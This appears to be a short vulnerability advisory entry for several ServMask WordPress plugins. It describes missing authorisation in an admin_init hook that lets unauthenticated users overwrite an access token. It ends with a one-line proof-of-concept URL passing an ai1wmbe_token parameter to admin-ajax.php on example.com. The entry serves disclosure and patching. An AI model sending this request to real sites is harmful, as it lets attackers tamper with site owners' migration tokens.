Multiple Plugins from ServMask - Unauthenticated Access Token Update

2023-08-3100:00:00

wpvulndb

servmask

unauthenticated access

plugin exploit

security risk

6.7 Medium

AI Score

Confidence

Low

0.0004 Low

EPSS

Percentile

15.7%

JSON

Description The plugins do not have authorisation in the init() function hooked to the admin_init action, allowing unauthenticated attackers to update the access token

With the All-in-One WP Migration Box Extension installed, open the below URL as unauthenticated:

https://example.com/wp-admin/admin-ajax.php?ai1wmbe_token=AAAA